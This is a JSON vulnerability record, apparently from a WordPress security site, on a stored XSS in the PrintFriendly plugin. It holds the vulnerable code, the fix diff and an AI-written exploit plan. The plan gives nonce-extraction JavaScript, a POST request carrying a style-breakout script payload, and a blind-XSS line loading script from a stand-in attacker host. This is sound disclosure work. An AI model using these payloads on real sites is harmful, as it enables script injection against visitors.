[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f96pQIOXqqqi1DBsWt9Dd5pLSu6W3TngXmG9nysfOSBk":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-9738","print-pdf-email-by-printfriendly-authenticated-administrator-stored-cross-site-scripting-via-contentpositioncss-paramete","Print, PDF, Email by PrintFriendly \u003C= 5.5.10 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'content_position_css' Parameter","The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content_position_css' parameter in all versions up to, and including, 5.5.10 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","printfriendly",null,"\u003C=5.5.10","5.5.11","medium",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-07-10 14:46:19","2026-07-11 03:44:22",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F43d54cb5-7813-4d30-a081-db84e0d29030?source=api-prod",1,[22,23,24,25,26,27],"assets\u002Fjs\u002Flib\u002Fclipboard.min.js","pf.php","readme.txt","views\u002Fpro.php","views\u002Fsettings.php","views\u002Ftabs.php","researched",false,3,"This exploitation research plan targets **CVE-2026-9738**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Print, PDF, Email by PrintFriendly** plugin. The vulnerability allows an authenticated administrator to inject arbitrary scripts via the `content_position_css` parameter, which are subsequently executed for any user visiting the site.\n\n---\n\n### 1. Vulnerability Summary\n- **Vulnerability:** Stored Cross-Site Scripting (XSS)\n- **Plugin:** Print, PDF, Email by PrintFriendly (slug: `printfriendly`)\n- **Affected Versions:** \u003C= 5.5.10\n- **Vulnerable Parameter:** `content_position_css` (part of the `printfriendly_option` array)\n- **Sink:** The value is echoed onto the frontend, likely within a `\u003Cstyle>` block in the `wp_head` or near the plugin's button rendering logic, without proper sanitization (on input) or escaping (on output).\n- **Security Check Deficiency:** The plugin fails to use `esc_html()` or `wp_kses()` when outputting the custom CSS configuration.\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `wp-admin\u002Foptions.php` (The standard WordPress options update handler).\n- **Action:** `update`\n- **Required Privileges:** Administrator (permissions to manage the plugin's settings).\n- **Preconditions:** The plugin must be active. The attacker must have a valid administrator session.\n- **Payload Location:** The `printfriendly_option[content_position_css]` POST parameter.\n\n### 3. Code Flow\n1. **Input:** An administrator navigates to the plugin settings page (usually under **Settings > PrintFriendly & PDF**).\n2. **Persistence:** When the form is submitted, WordPress's `options.php` handles the request. It looks for the `printfriendly_option` group registered via `register_setting` in `pf.php`'s `init()` method.\n3. **Storage:** The raw string containing the XSS payload is stored in the `wp_options` table under the key `printfriendly_option`.\n4. **Sink:** In `pf.php`, the `front_head` method (hooked to `wp_head`) or a similar method responsible for frontend rendering retrieves the options via `get_option('printfriendly_option')`.\n5. **Execution:** The value of `$this->options['content_position_css']` is echoed into the page source (likely inside a `\u003Cstyle>` tag) without escaping, allowing an attacker to close the tag and start a `\u003Cscript>` block.\n\n### 4. Nonce Acquisition Strategy\nSince this is an **Administrator+** vulnerability, the exploit involves updating settings. The nonce is required to prevent CSRF, but since the attacker has administrative access, they can obtain it directly from the settings page.\n\n1. **Target Page:** `\u002Fwp-admin\u002Foptions-general.php?page=printfriendly`\n2. **Identification:** The settings form in `views\u002Fsettings.php` uses `settings_fields($this->option_name)` and `wp_nonce_field('pf-options', 'pf-nonce')`.\n3. **Acquisition:**\n   - Use `browser_navigate` to the settings page.\n   - Use `browser_eval` to extract the necessary fields:\n     - `_wpnonce` (for the option group)\n     - `pf-nonce` (the custom nonce used in `settings.php`)\n\n```javascript\n\u002F\u002F JavaScript to run in browser context\nvar data = {\n    option_page: document.querySelector('input[name=\"option_page\"]')?.value,\n    _wpnonce: document.querySelector('input[name=\"_wpnonce\"]')?.value,\n    pf_nonce: document.querySelector('#pf-nonce')?.value\n};\nreturn data;\n```\n\n### 5. Exploitation Strategy\nThe goal is to inject a payload that breaks out of a CSS context and executes JavaScript.\n\n1. **Login:** Authenticate as an Administrator.\n2. **Recon:** Navigate to `\u002Fwp-admin\u002Foptions-general.php?page=printfriendly` to confirm the presence of the `content_position_css` field (or the generic options form).\n3. **Payload:** `\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle>`\n4. **HTTP Request (via `http_request`):**\n   - **URL:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Foptions.php`\n   - **Method:** `POST`\n   - **Headers:** `Content-Type: application\u002Fx-www-form-urlencoded`\n   - **Body:**\n     ```text\n     option_page=printfriendly_option&\n     action=update&\n     _wpnonce=[EXTRACTED_NONCE]&\n     printfriendly_option[content_position_css]=%3C%2Fstyle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cstyle%3E\n     ```\n   *Note: Other existing options in the `printfriendly_option` array should be included in the request to avoid overwriting them with null values, if the plugin does not merge them.*\n\n### 6. Test Data Setup\n1. **Plugin Installation:** Ensure `printfriendly` version 5.5.10 is installed and activated.\n2. **User:** Create an administrator user (e.g., `admin`\u002F`password`).\n3. **Frontend Page:** Ensure at least one public post or page exists where the PrintFriendly button is displayed (the plugin usually adds it to `the_content` by default).\n\n### 7. Expected Results\n- **Admin Side:** The request to `options.php` should return a `302 Found` redirect back to the settings page with `settings-updated=true`.\n- **Frontend Side:** When viewing any post, the page source will contain:\n  ```html\n  \u003Cstyle>...\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle>...\u003C\u002Fstyle>\n  ```\n- **Execution:** A browser alert box showing the domain name will appear.\n\n### 8. Verification Steps\n1. **WP-CLI Check:**\n   ```bash\n   wp option get printfriendly_option --format=json | grep \"script\"\n   ```\n   Confirm the payload is present in the database.\n2. **Frontend Check:**\n   Use the `http_request` tool to fetch the homepage and verify the string `\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>` exists in the raw HTML response.\n\n### 9. Alternative Approaches\nIf `content_position_css` is not the exact parameter name in the UI, check for:\n- `custom_css`\n- Any field under the \"Advanced\" tab that accepts CSS.\n- **Blind XSS:** If the payload is only reflected in specific contexts (like the Print preview), use a payload that triggers a callback to an external listener (e.g., `\u003Cscript src=\"http:\u002F\u002Fattacker.com\u002Fx.js\">\u003C\u002Fscript>`).","The Print, PDF, Email by PrintFriendly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'content_position_css' parameter in versions up to and including 5.5.10. An authenticated administrator can inject arbitrary JavaScript into the plugin settings, which is then rendered on the website's frontend within a style block without sufficient sanitization or escaping, allowing for script execution in the context of any site visitor.","\u002F* pf.php line 364 *\u002F\nfunction get_content_position_css_tag()\n{\n    $css = $this->getVal('content_position_css');\n    if (! empty($css)) {\n        return sprintf('\u003Cstyle type=\"text\u002Fcss\" id=\"pf-button-css\">%s\u003C\u002Fstyle>', $css);\n    }\n    return null;\n}\n\n---\n\n\u002F* pf.php line 396 *\u002F\n\u003Cstyle type=\"text\u002Fcss\" id=\"pf-main-css\">\n    \u003C?php echo $this->get_main_css(); ?>\n\u003C\u002Fstyle>\n\n    \u003C?php echo $this->get_content_position_css_tag(); ?>","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintfriendly\u002F5.5.10\u002Fpf.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintfriendly\u002F5.5.11\u002Fpf.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintfriendly\u002F5.5.10\u002Fpf.php\t2026-05-16 22:34:48.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fprintfriendly\u002F5.5.11\u002Fpf.php\t2026-06-29 20:34:10.000000000 +0000\n@@ -364,6 +368,10 @@\n         {\n             $css = $this->getVal('content_position_css');\n             if (! empty($css)) {\n+                \u002F\u002F Defense in depth: strip any HTML tags (e.g. a stored \"\u003C\u002Fstyle>\"\n+                \u002F\u002F breakout) before echoing into the \u003Cstyle> element. wp_strip_all_tags()\n+                \u002F\u002F leaves bare \">\" characters intact, so CSS child combinators keep working.\n+                $css = wp_strip_all_tags($css);\n                 return sprintf('\u003Cstyle type=\"text\u002Fcss\" id=\"pf-button-css\">%s\u003C\u002Fstyle>', $css);\n             }\n             return null;\n@@ -385,10 +393,16 @@\n             }\n             ?>\n         \u003Cstyle type=\"text\u002Fcss\" id=\"pf-main-css\">\n-            \u003C?php echo $this->get_main_css(); ?>\n+            \u003C?php\n+            \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Inline CSS assembled from integer- and hex-validated option values.\n+            echo $this->get_main_css();\n+            ?>\n         \u003C\u002Fstyle>\n \n-            \u003C?php echo $this->get_content_position_css_tag(); ?>\n+            \u003C?php\n+            \u002F\u002F phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- Returns a \u003Cstyle> tag whose CSS is run through wp_strip_all_tags() inside the method.\n+            echo $this->get_content_position_css_tag();\n+            ?>\n \n         \u003Cstyle type=\"text\u002Fcss\" id=\"pf-excerpt-styles\">\n           .pf-button.pf-button-excerpt {\n@@ -780,6 +799,15 @@\n \n             if (! isset($input['button_alignment_method']) || 'css' !== $input['button_alignment_method']) {\n                 $valid_input['content_position_css'] = '';\n+            } elseif (isset($input['content_position_css'])) {\n+                \u002F\u002F Strip all HTML\u002FPHP tags (including any \"\u003C\u002Fstyle>\" breakout) before\n+                \u002F\u002F storing, mirroring the Custom CSS sanitization below. A bare \">\"\n+                \u002F\u002F (CSS child combinator) is preserved because strip_tags() only removes\n+                \u002F\u002F complete \"\u003C...>\" sequences.\n+                $position_css = wp_strip_all_tags($input['content_position_css']);\n+                $valid_input['content_position_css'] = sanitize_textarea_field($position_css);\n+            } else {\n+                $valid_input['content_position_css'] = '';\n             }","The exploitation of this vulnerability requires an authenticated Administrator user to update the plugin's configuration via the WordPress options handler. \n\n1. The attacker logs in as an administrator and navigates to the plugin settings page to extract the required `_wpnonce` and `pf-nonce` values.\n2. The attacker submits a POST request to `wp-admin\u002Foptions.php` targeting the `printfriendly_option` group.\n3. The payload `\u003C\u002Fstyle>\u003Cscript>alert(document.domain)\u003C\u002Fscript>\u003Cstyle>` is injected into the `printfriendly_option[content_position_css]` parameter.\n4. This malicious string is stored unsanitized in the `wp_options` table.\n5. When any user visits a public page where the PrintFriendly button is active, the plugin retrieves the stored value and echoes it directly into the HTML `\u003Chead>` within a `\u003Cstyle>` block. \n6. The payload breaks out of the CSS context via `\u003C\u002Fstyle>` and executes the injected JavaScript code.","gemini-3-flash-preview","2026-07-15 09:07:13","2026-07-15 09:08:04",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","5.5.10","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprintfriendly\u002Ftags\u002F5.5.10","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprintfriendly.5.5.10.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprintfriendly\u002Ftags\u002F5.5.11","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fprintfriendly.5.5.11.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fprintfriendly\u002Ftags"]